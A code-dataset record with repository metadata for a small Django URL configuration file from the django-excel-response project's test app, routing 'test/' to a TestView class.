c956b43d4dc43d5f68a3f3c9e37d667ec6133652
116
py
Python
testapp/urls.py
takis/django-excel-response
676f686ca770627583bd2fbbf207a8bd28dfaa76
[ "Apache-2.0" ]
null
null
null
testapp/urls.py
takis/django-excel-response
676f686ca770627583bd2fbbf207a8bd28dfaa76
[ "Apache-2.0" ]
null
null
null
testapp/urls.py
takis/django-excel-response
676f686ca770627583bd2fbbf207a8bd28dfaa76
[ "Apache-2.0" ]
null
null
null
from django.urls import path from .views import TestView urlpatterns = [ path('test/', TestView.as_view()) ]
12.888889
37
0.698276